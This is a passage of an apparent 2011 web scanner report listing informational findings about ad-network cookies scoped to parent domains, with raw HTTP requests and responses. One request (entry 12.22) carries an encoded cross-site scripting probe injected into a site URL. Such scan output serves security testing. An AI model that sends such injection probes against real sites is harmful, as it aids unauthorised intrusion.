kkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:45 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:45 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:44 GMT
Content-Length: 3433

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036225092;click0=http://ad.media6degrees.com/adserv/clk?tId=5000381869741287|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...

12.20. http://ad.trafficmp.com/a/bpix previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.trafficmp.com
Path:	/a/bpix

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

T_77oa=igh%3Azu3d%3A1; Domain=trafficmp.com; Expires=Wed, 09-May-2012 13:29:12 GMT; Path=/
rth=2-ljzkpb-igh~zu3d~1~1-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 13:29:12 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /a/bpix?adv=754&id=476&r= HTTP/1.1
Host: ad.trafficmp.com
Proxy-Connection: keep-alive
Referer: http://ad.media6degrees.com/adserv/cs?tId=4601030440985026|cb=1305033249|adType=iframe|cId=5902|ec=1|spId=30811|advId=1209|exId=21|price=2.133250|pubId=625|secId=414|invId=3715|notifyServer=asd171.sd.pl.pvt|notifyPort=8080|bid=1.75|srcUrlEnc=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid2=470fb0bcf-3fea-4322-beeb-57f5828c5936-gmr873a3; dly2=3-lkkjy3-P~hoc~0~1uo0~1-; dmg2=2-null7566%4050%4057+53%3A01%3A72%3ANZ+%7Cnulll%7CHHF%7CX357%7CIIG%7CQ599.055%7CS50127%7C1fbsgynlre.pbz%7CJ078%7CWfbsgynlre+grpuabybtvrf+vap.%7CLfgbjr%7CR%40527.191%7Cnull%40955%7CDoebnqonaq%7CZ%3F%7C-; hst2=3-lkkjy3-1~70y9vrnt7vq8~146z~2ihm~0-; pct=1-oevyvt~gn7ey36j-vOrunivbe~gn7ey36i-yhpvq~gn7ey36j-; T_hlp9=ahc%3Ay6iu%3A1; rth=2-ljzkpb-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: image/gif
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Date: Tue, 10 May 2011 13:29:12 GMT
Connection: close
Set-Cookie: T_hlp9=""; Domain=trafficmp.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: T_77oa=igh%3Azu3d%3A1; Domain=trafficmp.com; Expires=Wed, 09-May-2012 13:29:12 GMT; Path=/
Set-Cookie: rth=2-ljzkpb-igh~zu3d~1~1-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 13:29:12 GMT; Path=/
Content-Length: 43

GIF89a.............!.......,...........D..;

12.21. http://ad.trafficmp.com/a/bpix previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.trafficmp.com
Path:	/a/bpix

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

T_lcgf=iel%3Azu8p%3A1; Domain=trafficmp.com; Expires=Wed, 09-May-2012 13:32:24 GMT; Path=/
rth=2-ljzkpb-iel~zu8p~1~1-igh~ztem~1~1-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 13:32:24 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /a/bpix?adv=754&id=442&r= HTTP/1.1
Host: ad.trafficmp.com
Proxy-Connection: keep-alive
Referer: http://ad.media6degrees.com/adserv/cs?tId=4602020164879145|cb=1305033257|adType=iframe|cId=5902|ec=1|spId=30812|advId=1209|exId=21|price=2.133250|pubId=625|secId=414|invId=3715|notifyServer=asd163.sd.pl.pvt|notifyPort=8080|bid=1.75|srcUrlEnc=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid2=470fb0bcf-3fea-4322-beeb-57f5828c5936-gmr873a3; dly2=3-lkkjy3-P~hoc~0~1uo0~1-; dmg2=2-null7566%4050%4057+53%3A01%3A72%3ANZ+%7Cnulll%7CHHF%7CX357%7CIIG%7CQ599.055%7CS50127%7C1fbsgynlre.pbz%7CJ078%7CWfbsgynlre+grpuabybtvrf+vap.%7CLfgbjr%7CR%40527.191%7Cnull%40955%7CDoebnqonaq%7CZ%3F%7C-; hst2=3-lkkjy3-1~70y9vrnt7vq8~146z~2ihm~0-; pct=1-oevyvt~gn7ey36j-vOrunivbe~gn7ey36i-yhpvq~gn7ey36j-; T_gusq=igh%3Aztem%3A1; rth=2-ljzkpb-igh~ztem~1~1-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: image/gif
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Date: Tue, 10 May 2011 13:32:23 GMT
Connection: close
Set-Cookie: T_gusq=""; Domain=trafficmp.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: T_lcgf=iel%3Azu8p%3A1; Domain=trafficmp.com; Expires=Wed, 09-May-2012 13:32:24 GMT; Path=/
Set-Cookie: rth=2-ljzkpb-iel~zu8p~1~1-igh~ztem~1~1-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 13:32:24 GMT; Path=/
Content-Length: 43

GIF89a.............!.......,...........D..;

12.22. http://ad.trafficmp.com/a/js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.trafficmp.com
Path:	/a/js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

dly2=3-lkzgew-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 14:04:08 GMT; Path=/
dmg2=2-null7566%4050%4065+65%3A59%3A53%3ANZ+%7Cnulll%7CHHF%7CX357%7CIIG%7CQ599.055%7CS50127%7C1fbsgynlre.pbz%7CJ078%7CWfbsgynlre+grpuabybtvrf+vap.%7CLfgbjr%7CR%40527.191%7Cnull%40955%7CDoebnqonaq%7CZ%3F%7C-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 14:04:08 GMT; Path=/
hst2=3-lkzgew-1~2mv8tymxw1z7~lcj~5f4j~0-1~70y9vrnt7vq8~146z~2ihm~ewgt-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 14:04:08 GMT; Path=/
pct=1-oevyvt~gn7ey36j-vOrunivbe~gn7ey36i-yhpvq~gn7ey36j-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 14:04:08 GMT; Path=/
rth=2-ljzkpb-iel~ztev~1~1-igh~ztem~1~1-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 14:04:08 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /a/js?plid=27667&cvl=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBOemsET7JTYOEC8PJsQeTzeXKDvb9q_8Bvt_h3hum7oO7XAAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi03NTg3MzE0MjU0MDkyMjQ4oAHOifnyA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQk3Mjh4OTBfYXPIAQnaAXNodHRwOi8vd3d3Lmtub3d5b3VybW9iaWxlLmNvbS9mZWF0dXJlc2ViMDFiJTIyLWFsZXJ0KCUyMlhTUyUyMiktJTIyYzFkM2E1OGY5OGEvODgxNzQwL2dvb2dsZV9pb193aGF0X3RvX2V4cGVjdC5odG1smALuCsACBcgC3oPPCKgDAegDrwjoA4YD6ANO6AOvAvUDBgAAxA%26num%3D1%26sig%3DAGiWqtyxUjpfmO07BEsg6KuIl_tIJgvmsw%26client%3Dca-pub-7587314254092248%26adurl%3D&cb=1739220253 HTTP/1.1
Host: ad.trafficmp.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7587314254092248&output=html&h=90&slotname=9491098414&w=728&lmt=1305052256&flash=10.2.154&url=http%3A%2F%2Fwww.knowyourmobile.com%2Ffeatureseb01b%2522-alert(%2522XSS%2522)-%2522c1d3a58f98a%2F881740%2Fgoogle_io_what_to_expect.html&dt=1305034256503&bpp=2&shv=r20110427&jsv=r20110427&prev_slotnames=6665882529&correlator=1305034240384&frm=0&adk=3935617407&ga_vid=1292799472.1305033311&ga_sid=1305033311&ga_hid=423992480&ga_fc=1&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=45&biw=1050&bih=951&ref=http%3A%2F%2Fburp%2Fshow%2F12&fu=0&ifi=2&dtd=418&xpc=X36m5DbEHl&p=http%3A//www.knowyourmobile.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid2=470fb0bcf-3fea-4322-beeb-57f5828c5936-gmr873a3; dly2=3-lkkjy3-P~hoc~0~1uo0~1-; dmg2=2-null7566%4050%4057+53%3A01%3A72%3ANZ+%7Cnulll%7CHHF%7CX357%7CIIG%7CQ599.055%7CS50127%7C1fbsgynlre.pbz%7CJ078%7CWfbsgynlre+grpuabybtvrf+vap.%7CLfgbjr%7CR%40527.191%7Cnull%40955%7CDoebnqonaq%7CZ%3F%7C-; hst2=3-lkkjy3-1~70y9vrnt7vq8~146z~2ihm~0-; pct=1-oevyvt~gn7ey36j-vOrunivbe~gn7ey36i-yhpvq~gn7ey36j-; T_fsw9=iel%3Aztev%3A1; rth=2-ljzkpb-iel~ztev~1~1-igh~ztem~1~1-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Date: Tue, 10 May 2011 14:04:07 GMT
Pragma: no-cache
Connection: close
Set-Cookie: T_fsw9=""; Domain=trafficmp.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: dly2=3-lkzgew-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 14:04:08 GMT; Path=/
Set-Cookie: dmg2=2-null7566%4050%4065+65%3A59%3A53%3ANZ+%7Cnulll%7CHHF%7CX357%7CIIG%7CQ599.055%7CS50127%7C1fbsgynlre.pbz%7CJ078%7CWfbsgynlre+grpuabybtvrf+vap.%7CLfgbjr%7CR%40527.191%7Cnull%40955%7CDoebnqonaq%7CZ%3F%7C-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 14:04:08 GMT; Path=/
Set-Cookie: hst2=3-lkzgew-1~2mv8tymxw1z7~lcj~5f4j~0-1~70y9vrnt7vq8~146z~2ihm~ewgt-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 14:04:08 GMT; Path=/
Set-Cookie: pct=1-oevyvt~gn7ey36j-vOrunivbe~gn7ey36i-yhpvq~gn7ey36j-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 14:04:08 GMT; Path=/
Set-Cookie: rth=2-ljzkpb-iel~ztev~1~1-igh~ztem~1~1-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 14:04:08 GMT; Path=/
Content-Length: 2565

document.write('\<scr');
document.write('ipt type=\"text/javascript\" language=\"javascript\"\> var fd_clk = \'http://googleads.g.doubleclick.net/aclk?sa=l\&ai=BOemsET7JTYOEC8PJsQeTzeXKDvb9q_8Bvt_h3
...[SNIP]...

12.23. http://ad.turn.com/server/ads.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.turn.com
Path:	/server/ads.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

uid=2931142961646634775; Domain=.turn.com; Expires=Sun, 06-Nov-2011 13:43:57 GMT; Path=/
adImpCount=49lfYbaSZC9sULu0Dsc9j4A0w_TJT6a7zSU93Wiv2By76nVUEQrqCfHGx7lLD55eJmGhHmlhz1tR1Ra54XLx9RvZTBNkiE7yn98nPyVRl25NAD9CzxyIa9WvGJtW6WWCcjZ2TdY02khAi5MXfrKXhTf3SlTsAkOoc67-nv9-JHzSvxHuaHQxpaIHd_HHvZgiEVoPtTPaqqoBSERNKypQSfr0Gvi67fABIdrDFkqH2pQDIoPfzh4dVMv54jxCLhrOuI8NBtfI3ukcD9crr6R3u7CvkqMXlcbx7Bi1EQRMvI0-QhF5lC0iuRWvKfJUQQnxoBFz3gsHFXxga30AxLTjd6eaygH6z21ZoH2a5fzloxhETDdhtdfsA0_G8wbchlE2Jng8vXLODwTGR7IM2rWUncwOw-WQzu27JDbm3zb28UIJSJS-gRbd6_lq_zsnWqQtDXki2e30ar-nIrZEby3IbX6ktS-7WSKCQ1cVQgpNNs6dzg1gLvSIwhzJ9CHnb7dyS2Rp-0JlDPDEgt7Boz_e8WX3WPl8VwFiOy0wP-CPeF60YkqIZmomQUOJddHNg8LosM3maYue6dGjGF5IpE3TfJaw7nJrYwXW28_gU2aUnfZXH1lxhSJ-Hkbx3LH7fNgeY6bUajCjQG3fHDdMG1fIjogqfEFqIPqWXHKrerlWzJ7we_lb5X3qA4azxNwDCgK1zj9AF5M8L0zjRkTi2bVOH7laPTu6jXJXf9E0wa_7P4eukRxpOSUPvzPMefMiS3F6CsA8r7p-w6Lx2aUQMF8sCClmSitS-MBruUq0LslgxFrkbtcNS092XfJ_iH1-qEzxBAK6vn5XEPH6CoDPO3SATbCvkqMXlcbx7Bi1EQRMvI09kp1qU922MWhgseCZ0yA9oBFz3gsHFXxga30AxLTjd3BNZ8Et-uLgMxsAErE71LIZKf-ZGF5mqZT4qAr6KwJ6_AZGFehbXKZVluek1-8cUSfpHBCWTc_WhsiuKHISwceCRhMEP-vqrTNfrAq34bF-UV7qwiA-DzdS3NAJnUwH98VKwCrgDD4ecVOAJt87zXnTicn6ppii7NkwfMnY3YnceJYheWkTLK5FfrssiaKppuFTVjpsaG2BvnPs8uC37Bf8FuaBd0zHMfaXMlXvmiRSSUUWuwcNPPHI9kbqCz_xT5cdd99vC4bC6OgoVXOU4XuiolLtxfX4Bt77mqmNWwAMzYy1HB58LncgBnIV8SuYwWjSqAhDRerjsLTJstXn3k93fAGg3NL2q2xrCePtC960g6vIHw2Jyhqnl0AuzEQ9uy2OhqmTSqb5s_vom2S9BdFry2mOq25RwJMysyYojbq5OEH0e8-9WHwCznRNoiPpAVtpRwkZU4LlGw1pa_aQSINqN0AbiEW6mez9vdByqElcPwGqCniUOGScBtRFWce59NkPEWuLK2RvocYs-w2VCSU29xo9t_eELo-qOr3V4b_6rJ6qoWJfLTC4s23Ovgz6z5gGPawgMxEaUTfILlas0AGOPEOAFO1Os5ybA_YPGmqcY5VMRQ0UuWRFg4faK4le06zc6zX7XuyCbrmiyrXAF7h4ukd_tYO2W-vdTSaO8z9e31SEv8mTtg6054eJlg8NRYsjsOwv-PUrBYYdnUrqIaKXbp8yFKNIGg1jm4dCMTx11A2o0sOQ5ccvSzQCVo4-YLedP_zRmBDU16GMmAX4vi6cES2Ns5aNknwfVZ8YJqSm4VNWOmxobYG-c-zy4LfsF1fViSQW9FxwtaoTED3u2cBJRRa7Bw088cj2RuoLP_FPnAzMrCiv6oWNkFhSHNDPNV5g-5umsVHXlQ3P2lQ-Ini3QKeItojaDoDbISABCFerBhJYEPL4UzdyOj82p3ETwnd8AaDc0varbGsJ4-0L3rRCWQBFgLGhPxYltUIyEQgLsBIQDOH8CUV4l-WCvOMJ8ZoRBsb45KVHuJaNoYl3viGLFY5FXqH7Kxgixse5VNukW2lHCRlTguUbDWlr9pBIg8Hkwp6ej4-1GJtnnt-GDOjketUOewYnKj5VAKGNuTapv-s71Id9C6Et0jKrqPrA341fYNvaM9xh9GX-_ZJ3L2SOPEOAFO1Os5ybA_YPGmqcF99XWuA3J5hzU_ecr1Gi2oeNg2RC4vMx5FjUiqRrmO0-mh5LMTfhrtRFIqx5jm-AZvTZNfGrAuabv0M5A8DouosjsOwv-PUrBYYdnUrqIaIHNHYRAxeinCck4FrVYQDAxQ4YYoGSDsz6HlzI-Hkj_TjHLfuthDLFZ1MLJVKZ8oQHFXRs7s5tJoMmmzd2oSgOu1W98HVFnqHBnOdpDfkHAlridfFNnlS6-nlSx7tTBerbAIeI2vlGUfbG0ZNxEUHDEA1Jh1JmSIm4qhQ12_7hjpyvEb6miC_66VvSL5Pml5WgPd9FpDjFgzufMcbyyJxOBEwyLEP-hWW5-kmOATgFPehnB2LM1zLOIXx4ZnMe0z0LhSbd_dEDGN9v5_RAIItiovjHQ4Cmjst0uS_ZAN5dmUmURXlsENb9xU6Mz9VMuO7pvYl8H7-HUJl2Ka6xoLyLZbtzyEbcWUGqqhqa9tiX1Ool3nXRVKN-1LzOuXfM3NVtJs4f61ul8zZhh25WM8DyuIZxsqa7lOxOrOQMHdw4dRwEAwKtxxI_6b-FutaN-Lv-U41umJyCpRL1lt1cGgEpB5hD13EPwO5s5-DwMGD6aoN8-37PGC9cyesf200GnzzZRiN9PqVIEPxwQb1jhhWbAkOuzsv3JtzVI0PtUqJ35DfE9ZhLI-srA5i46CagcI8CeQHj43XhmSTC0zqxgUpWBkpu7d1CWvPFLelubWUsUYzfwwIac3OVd4asDRy4Tb3ejyv3BQtedQeCLUOqeg0SFq_skUz0u9ij_v1VgfIXakRmBHzdvCY-JOe_XTrWj6RJUGHeC3nCN4x_UZC69s55XOiKPcyt6l9iKxGmUQqMunAXp1F8JSJEG7l6OPv1fjk2t8lMpvAttvjIHDirSW0fVf72b0bbH4YNLu_Hr3-dKiYlgTf7HqVNZQWUbK-DV9szgBiAs1SiDN7PvqaLqTr1TdM_3KWeoJO-CnSEWgr9Qozp9kcrjIK5abX-GWVdsDOQmjEJeDHB1vBCgSzPg8RYTgMVW3E4SxfywkVDkUHR89emr2ZPiQMIOqLpsK7AHmj_oLcuTGyfXxMAHHkZzF_kjzxNN9ZylJk4PeTQeSCNmSuwd6Ui7h291sdfTURN_H05iExVYofrvkJ5TQYUNfK3E4iJk_um-_UF55g3dXD1xQrJtwIJ75WF2AZJh9J7588Z6Lsj33fSvPRriFKu-9iW4vdfapgN28zxEb9z3o9S5VhjrAU5oaTtgSb_n-uusLm7uJxCGZGZGB8Gj332u6Qw9fjZOAN9kWDjrF9jr4TxQY3mkp4Dt7Hm1UzS7lEsBzRNL996qx_doUESD1XIFIHHtJQvkRk6L9OlRnxWZyIC-LgTGZBprvbky445Uh8PxXOesWKmtIxFp0u_LMNGGa98xE0cp24rr959_cZV8G9amf0P1ImCBwaKqNcKpIl1XQrRjFhJGRjdFTc7TZeHSZXWFP5lHnxiOAgLNRsRn-d3BIbgrKMLgoG44wFioyFmgaSIzVIIxqT36kRgQZngJXoo; Domain=.turn.com; Expires=Sun, 06-Nov-2011 13:43:57 GMT; Path=/
fc=FSROkif6QEzQTtpBUb36S_gNoF-ZKYigcfXOCrgeHn_ucz5cXW5Mlwmu42BXqLr6rRqQpaKBKyof5NYMw3qm9wvMqEF5Nki8mb1vSqmztIXwgXaghxUZ0Yi8V_8u0E15pwNGRrcYbOFXslFF8JgPJ4hlfd5Vr1apsTJViSHXFg8nEpLOK5atrYviv-joUTkPwwO-8N2ttNV8JartNM9RLBsnc2X8IKfd5H6yzgRflMC-yL_ByfmJaqt39FhxYp5a_s1UDK-soNrH30pJLaCdOjfsdyfcA83SjMBxymPmvd0agfidLwaUjnraLpvT1tPzG0sqnNvhyDQv8I1-OfpErfpZT2r-ImqIbIee7QyEpWA; Domain=.turn.com; Expires=Sun, 06-Nov-2011 13:43:57 GMT; Path=/
pf=4I9yKgLgu7dDaMJU_kn1HMV-8h1wwErSZQshMndJN8IrW05u4B9BwnHxy5LHSNbsgj3i5LqNb-W3W5VEUXCe5-7gAzVqz8-G_Q39pQwwHQtG9eqUO6PdyPlHytyWBeL6pt4N9d3OY-Qo6M3zGftguNTbm-VGCKrn7KG61o8a-hlxQgbL-MXnxJnxbWK81XM2fNbwnskl80J7FrpArydV4msv5xJnc6wiNkkgoc9ZHAqEvAXfc_b9CYsOLM4ObfRS-yQ0IxDS6yGV0bt0Oz4pJzQ3Hu9GorHJq3pkzhhXE4dM0xncvVUD6tMlnnlm_qWsojASvNxNlCtZvel71OhRg1_acYxwuGBwWmnpT3WVNmeWKUlZO7GlHHuYkG_xUYpdlRr7vUCIaoiDaMmpt_PvLCOUyLGtO0hHJuwGY5T09JX2RCeAmas1by9-2jjXtHbxIU6XTk6RPEnQXT9x2zEmWfAeEJZ2W4XMeMQpqzhWB_34UH3sPqU14UWUW_0z8Z0heNyepssmwJo9AEHB3dcHG8NqNopQF7bmOYrUClo2LIAxUFIqqMfzF-f5IilV9DF2EEtf1qwB8GY1P6ISMC2NEE-NukVybOAFf3snxZsusnThrdw025CqgpXbAJf_ZgK04z5LE7vpNsVQaepPKy5giom1bq2yFvVGruUD-0Zmu_IOz-UlYiPBN7JyoSoKGJwMowB-sj_YCAwsoyO3MSAriA-6SvpE8vfm17M_AiAxw4nAd1Y9GjRixW8BKZaPBicaTSnQ_qW1THdHtsDrSOwE7yWjUosqwui97JSt4J0g_MOMd0ReLIPTEksHwzd4gYkpoMm2n6Nulr0bAVvGt4WcZWdCKTjb3Ww3q4Lyh_VyGMuPK371XlXjo5X46eVqRbV699MOJ5eDdshYLSs5LFoOgILjO_vdFh0XnPmUquTICkH1HrsiJSZNWOX0SyN8dywaeYYZUTlRetsuBzMcxMWLQLNyiRU1bJ5Qpb7GomgPhXBwcMjXa09KP5HzekSxDcQK0SJw0JMmSyeQM3pYTVx-Ci-FU5aKfMy17HNvPHxNvxNrRXY1izURX-lyALi1AlxuBXTDiJUS-OqKWjm2DD4CuggKG3dUzHMmu04fSX5Ad4nEc6NlGzZLMuoExgCCt30kp2pmOmYcQYMZyZ05DubgihMl8PJOwcr8ldScAKqk7rGGnUh27gMWCyrnP1Di5AGzTucfcXTrqV1UJKyBhGxFYcQFai9M2J3rqJmFUgQdN5ATDIRwfK3uozaJUKhU4qVipaL_GD-TOTelik5DYCvXIYIInb3nfIa-ebQa7olHWWH486R4yxje4LN8GWCWWRe4IR0I9DtTjuVzRJkyZ8n66XpUPlCRi3tlvuMEH6BKrtjGsUA2wOoIXFuaM_JUwMHDgab4_aPrZdgl9Uf7tvD9rgyRTxnR6YKNm8Gu6ALXRmCYGTIP8i-wsqx8QkqNgi0F_hs9UZaVZDpy-HyTAsx-Y51cz4yJITcb0FaAWC4QbaWSbbOECFNVbSmOiTVVH4eEKD1WvX5M7UplxrzwIhN9Mwkgo1sMiNanUUl1UyNj_Qxjp4iBCha2ShvDZxpY4-NTPO_cWHxychz2AkV4XXIJ0g; Domain=.turn.com; Expires=Sun, 06-Nov-2011 13:43:57 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /server/ads.js?pub=6552283&cch=6553230&code=6554547&l=728x90&aid=26077874&ahcid=1249726&bimpd=u5ToNYHU66KZDJDFhrtNKp0jsaoBMqw03Yi2RCXnvdaDsDZZOVm4j_KFRAMykVX2tUrO1NAELGOR8ZBESpkpBr8SZ-jALtqqWbd8m3YdsktKqju6iObhD8k526i29MJaIMGwYGtHL0cIUOIVpH99CQmWEcPABgU4VdlPr2M1r6Txm66SuVlcgiOR-Gflfses9qtUgqcUzho-j57HgLvSS6k2pI0Pd_IU3krKFbe55iWi8_nUOVor027yyXvbX0-iChBtMjpxlleUxp73BcGG9iPW1rkFWzq5tfQET-S9BNkJRw9eKzgy82Zwa2chsLOfKhea7xip8O1e9BN1wh0wF4K0dD3ErT_51D4pU0evpPfqtG0DFCMtaOyOP9TCah48Pa8UGoc6wUUFfL4ci20ToFvuPRBiHA3VcnRRefEKFnOZLN5sedsz-nwvvpdOy9elG8PymPqI1aVKyzU5nU96wP1sjofO-CKfNGD2ZuVTqsh8qc2o0cDWMb72xmz2ON-EuF_JStTRIpTmXOh_nEMZjDbTeB6IFzJT7yTa1UqmMjn2RQdt2pinh7jQBJNqFEiSYxrTEmBVo5LDGiW9S_xz-2E4cxr1umiALy127UzvPcQEsx47IG4zVxaB0Q7IEGThhN6_lOXNyeNki3j97yyM-Gk2q7OQtGes8VsTqqOEPz_KwAKeUX5tAGlX90Utl7B67f09-9Fg1lmNUqhMBCcG4YKm4sooohewnPrc0CNRzBaKfSmATXSsmGE4tPV33CVx&acp=AAABL9omWHDmQHiZ6XHXfUdQfwSq3DUtD3uZog HTTP/1.1
Host: ad.turn.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
